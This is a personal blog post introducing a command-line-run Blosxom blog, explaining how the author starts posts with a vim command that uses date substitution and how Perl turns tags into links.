    To the CLI-addicted, this is an awesome little product. Accepting, of course, that you’re going to get under the hood if you’re going to make it the product you want. After some modules and hacking, I’m pleased with the result.

    My posts are just text files, meaning I start a new one like: vim ~posts/`date +%Y%m%d`.brief.subject.txt

    Note: the back-ticks (`) tell the system that you want to execute the command between ticks, and dynamically insert its output into the command. In this case, the command date with these parameters:
    1. (+) we’re going to specify a format
    2. (%Y) four-digit year
    3. (%m) two-digit month
    4. (%d) two-digit day
    That means the command above will use Vim to edit a text file named ‘20130507.brief.subject.txt’ in the directory I have assigned to the hash of ‘posts’. (using hash this way is a function of Zsh that I’ll cover in another post)

    In my CLI-oriented ‘blog, I can sprinkle in my own HTML or use common notation like wrapping a word in underscores to have it underlined, forward-slashes for italics and asterisks for bold.

    Toss in a line that identifies tags and, since Perl is the beast of Regex, we pick up the tags and make them links, meta-tags, etc.

    Things here are likely to change a lot at first, while I twiddle with CSS and hack away at making a Blosxom that perfectly fits my tastes — so don’t be too alarmed if you visit and things look a tad wonky. It just means that I’m tinkering.

    Once the saw-horses have been tucked away, I’m going to take the various notes I’ve made during my years in IT and write them out, in a very simple breakdown, aimed at sharing these with people who know little about how to negotiate the command line. The assumption here is that you have an interest in *nix/BSD. If you’ve that and the CLI is not a major part of your computing experience, it probably will be at some point. If you’re working on systems remotely, graphical interfaces often just impede you.

    Once you’ve started working on remote machines, the rest is inevitable. You can either remember how to do everything two ways, through a graphical interface and CLI — or just start using the CLI for everything.

    So let’s take a little journey through the kinds of things that make me love the CLI.


    Tags: , , , , , , , , ,
    Permalink: 20130507.greetings